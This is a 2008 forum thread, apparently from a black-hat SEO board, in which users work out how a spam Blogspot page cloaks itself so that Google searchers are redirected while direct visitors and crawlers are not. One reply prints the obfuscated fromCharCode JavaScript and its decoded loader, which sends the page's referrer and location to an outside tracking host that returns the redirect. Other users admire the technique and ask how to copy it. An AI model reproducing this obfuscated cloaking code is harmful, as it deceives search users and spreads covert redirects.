How was this done?

regems · Sep 18, 2008

Hey guys.
I've been puzzling over how this cloak was done.
http://chekcredit48e0c8673.blogspot.com/

It's currently #5 on google for "credit chek" and if you click on those results, you get redirected to another site.

But if you just search google for site:http://chekcredit48e0c8673.blogspot.com/ or access it directly, you don't get redirected.

Since it's on blogspot, I assume it can't be any kind of server side method. And I looked at the source and couldn't see anything.

Admittedly my cloaking knowledge is limited. Anyone care to fill me in on how this was done?

agj32mrgibbits · Sep 18, 2008

Here is the chunk of javascript I found in the source that does the redirect.

Code:

document.write(String.fromCharCode(8539+-8479,-3609+3724,5365+-5266,-5831+5945,-3294+3399,-1023+1135,-4048+4164,-7209+7241,-5035+5151,-2429+2550,3946+-3834,-1316+1417,2730+-2669,2192+-2158,-4024+4140,438+-337,4564+-4444,-6501+6617,2866+-2819,-6551+6657,5574+-5477,-3586+3704,8748+-8651,-8068+8183,-3141+3240,2395+-2281,6149+-6044,-5757+5869,-9453+9569,4445+-4411,3852+-3820,9086+-8971,-9165+9279,-784+883,-6746+6807,-2458+2492,8194+-8090,-793+909,334+-218,-6842+6954,6778+-6720,-5720+5767,1843+-1796,-493+608,6473+-6357,7820+-7723,9945+-9829,1036+-921,-8681+8727,2811+-2709,4486+-4389,6893+-6794,9225+-9109,3233+-3121,8826+-8712,-3916+4037,-4372+4418,4974+-4875,328+-217,-3825+3934,-581+628,-5820+5919,-4740+4851,255+-138,3396+-3286,-1485+1601,7798+-7697,1590+-1476,7723+-7628,-1869+1975,4749+-4634,4500+-4454,2411+-2299,-3408+3512,-5994+6106,-1117+1180,-5589+5688,-6049+6110,9920+-9871,-4270+4321,6763+-6725,4405+-4298,-7377+7438,5988+-5937,-2362+2418,-8551+8605,-7928+7982,3266+-3232,6424+-6362,2400+-2282,9441+-9344,-4158+4272,6580+-6548,-5299+5396,6098+-6066,-24+85,3217+-3185,3895+-3861,-8435+8534,939+-842,-7975+8073,6315+-6261,-4562+4610,4436+-4379,-7094+7144,-555+611,-6681+6730,-2683+2782,3397+-3345,-6762+6811,3048+-2997,159+-62,7644+-7547,5672+-5623,-3854+3956,-4719+4821,7121+-7065,-1782+1834,8548+-8446,3544+-3444,-9382+9480,7988+-7886,9387+-9289,7199+-7143,-7311+7412,5484+-5384,-2825+2882,5906+-5806,-622+677,-1259+1311,-3156+3190,1404+-1345,-4945+5005,2283+-2236,-4160+4275,-2039+2138,-8272+8386,-841+946,5279+-5167,5125+-5009,2398+-2336));

Which decodes to

Code:

<script type="text/javascript" src="http://stats.factpry.com/counter_js.php?c=13&k=3866">var a = 

"cab609281c413aa1ff84fdbfb8ed9d74";</script>

Which loads this

Code:

document.writeln('<script language=\'javascript\' src=\'http://stats.factpry.com/counter.php?c=13&k=3866&r=' + escape(document.referrer) + '&l=' + escape(document.location) + '\'></script>');

Which if the referer and document location is right, it will send the redirect code.

regems · Sep 18, 2008

That's very interesting, thanks agj32mrgibbits.

If a browser understands how to decode and interpret the javascript, I'm surprised Google can't. I'd have thought this sort of method would get banned easily.

CapMorgan · Sep 19, 2008

How did you decode the javascript?

agj32mrgibbits · Sep 19, 2008

CapMorgan said:
How did you decode the javascript?

I changed "document.write" to "alert" then copied the message.

megabump · Sep 19, 2008

regems said:
If a browser understands how to decode and interpret the javascript, I'm surprised Google can't. I'd have thought this sort of method would get banned easily.

The Google spider ignores javascript.

CapMorgan · Sep 19, 2008

agj32mrgibbits can you suggest a good place that explains this in more detail?

CapMorgan · Sep 19, 2008

I noticed he also gives rank to his other pages by hotlinking his other blogs.

areyouserious · Sep 19, 2008

agj32mrgibbits,

you just became my hero...at least for today.

Seriously

BozoClown · Sep 19, 2008

That is brilliant combination of tactics.

lazysurfer · Sep 19, 2008

I bet he is a member here.:biggthump

almir · Sep 19, 2008

Do you guys see different results when searching CREDIT CHEK credit check ?

Without caps I can't see him on the first page, but I succeed to register a deleted blog that is on his place when searching without caps

.::BlackHat::. · Nov 9, 2008

It's incredible thing!

Is this possible to be done in PHP..??
Can somebody to explain how..??

Thyphen · Nov 9, 2008

Could someone explain to me what exactly is going on here?

How was this done?

regems

Newbie

agj32mrgibbits

Registered Member

regems

Newbie

CapMorgan

Junior Member

agj32mrgibbits

Registered Member

megabump

Registered Member

CapMorgan

Junior Member

CapMorgan

Junior Member

areyouserious

Registered Member

BozoClown

Junior Member

lazysurfer

Junior Member

almir

Power Member

.::BlackHat::.

Registered Member

Thyphen

Registered Member

Main Menu

Marketplace

Making Money

BlackHatWorld

Other